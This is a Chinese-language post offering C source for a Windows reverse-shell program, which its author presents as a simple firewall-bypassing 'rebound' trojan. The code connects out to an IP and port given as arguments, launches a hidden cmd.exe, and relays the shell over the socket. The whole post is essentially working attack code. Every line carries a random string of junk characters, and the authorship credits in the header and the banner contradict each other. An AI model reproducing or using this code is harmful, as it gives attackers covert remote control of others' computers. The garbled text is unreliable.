这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uFH ]w]X
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/* ============================== NL7CeHs5
Rebound port in Windows NT _Vl22'wl
By wind,2006/7 WY3D.z-</
===============================*/ "oc&uj
#include QO|roE
#include lf?dTPrD
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#pragma comment(lib,"wsock32.lib") $Lx2!Zy
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void OutputShell(); Tu*"+*r>s
SOCKET sClient; o1B8_$aYgc
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hJsYKd8g
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void main(int argc,char **argv) /Q*o6Gys0
{ YKtF)N;m]
WSADATA stWsaData; x.ZW%P1
int nRet; $lYy `OuC
SOCKADDR_IN stSaiClient,stSaiServer; qo^PS
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if(argc != 3) /6@iRswa
{ l*(Ml=
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printf("Useage:\n\rRebound DestIP DestPort\n"); AIK99
return; "z/)> ?Wn
} .{}=!>U2
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WSAStartup(MAKEWORD(2,2),&stWsaData); %hM8px4d
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q` Z_Bw
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stSaiClient.sin_family = AF_INET; h|Z%b_a
stSaiClient.sin_port = htons(0); /%4wm?(eA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E!_mXjlPc
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q^c)T>OAI
{ LFHzd@Y7"
printf("Bind Socket Failed!\n"); 5UU1HC;C
return; ~0 5p+F)
} TcjTF|q>
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stSaiServer.sin_family = AF_INET; [>^xMF]$2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %n7Y5|Uh
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~,jBm^4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) byrK``f
{ M`jqUg
printf("Connect Error!"); oI2YJ2?Je8
return; 5OS|Vp||b
} 9+!1jTGSkf
OutputShell(); |yT-N3H@
} E` O@UW@
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void OutputShell() d \[cFe1d
{ H,Ik&{@j
char szBuff[1024]; F[HMX4
SECURITY_ATTRIBUTES stSecurityAttributes; rQ+2 -|#
OSVERSIONINFO stOsversionInfo; 8;vpa*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o fw0_)!Q
STARTUPINFO stStartupInfo; ~lSdWUk>
char *szShell; uOU?-WtPz
PROCESS_INFORMATION stProcessInformation; WhY8#B'?
unsigned long lBytesRead; )4@La&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V <;vy&&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1+0DTqWz
stSecurityAttributes.lpSecurityDescriptor = 0; >^\}"dEvr
stSecurityAttributes.bInheritHandle = TRUE; !rwe|"8m?u
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y;1
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s'Op|`&X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LEJ8 .z6$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9"%ot=)
stStartupInfo.wShowWindow = SW_HIDE; ;uK">L[u'
stStartupInfo.hStdInput = hReadPipe; nGvWlx
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^ .]]0Rp&
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GetVersionEx(&stOsversionInfo); gXzp$#
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switch(stOsversionInfo.dwPlatformId) GLIe8T*ht
{ N9s ,..
case 1: 2S`D7R#6s
szShell = "command.com"; vI)-Zz[3
break; B)1.CHV%<
default: ag~4m5n*~
szShell = "cmd.exe"; bF#1'W&
break; IW1+^F9NEw
} }>|!Mf]W?R
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1`;,_>8
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send(sClient,szMsg,77,0); ecjjCt2S
while(1) }RT#V8oc
{ '=^$;3Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FSp57W$
if(lBytesRead)
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{ :^Ouv1!e1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kq m$a
send(sClient,szBuff,lBytesRead,0); $2?10}mrx
} $u`v
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else 4z$}e-
{ 9*"Ae0ok1
lBytesRead=recv(sClient,szBuff,1024,0); YH%aPsi
if(lBytesRead<=0) break; T9,T'y>BD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ig*qn# Dd
} @fML.AT
} -5_[m@Vr
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return;
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}